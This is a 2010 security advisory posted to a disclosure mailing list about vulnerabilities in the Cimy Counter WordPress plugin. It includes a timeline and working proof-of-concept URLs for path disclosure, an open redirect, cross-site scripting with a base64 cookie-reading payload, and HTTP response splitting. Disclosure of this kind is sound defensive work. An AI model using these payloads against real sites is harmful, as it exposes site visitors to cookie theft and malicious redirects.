The Wordpress Cimy Counter plugin suffers from cross site scripting and path disclosure vulnerabilities.
9a3f5f44d2b1c727d5169dd6bc00b3db352e0c9010b27a177f0efde52624bcda
Hello Full-Disclosure!
I want to warn you about security vulnerabilities in plugin Cimy Counter for
WordPress.
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Advisory: Vulnerabilities in Cimy Counter for WordPress
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URL: http://websecurity.com.ua/4170/
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Affected products: Cimy Counter 0.9.4 and previous versions.
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Timeline:
20.04.2010 - found vulnerabilities.
28.04.2010 - announced at my site.
29.04.2010 - informed developer.
06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the
author fixed all mentioned vulnerabilities except Redirector (aka URL
Redirector Abuse in WASC TC v2). And I gave him addition argumentation to
fix Redirector hole also.
24.06.2010 - disclosed at my site.
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Details:
These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP
Response Spitting vulnerabilities.
Full path disclosure:
http://site/wp-content/plugins/cimy-counter/cimy_counter.php
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1
Redirector:
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua
XSS:
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b
HTTP Response Spitting:
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test
Works at old versions of PHP.
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua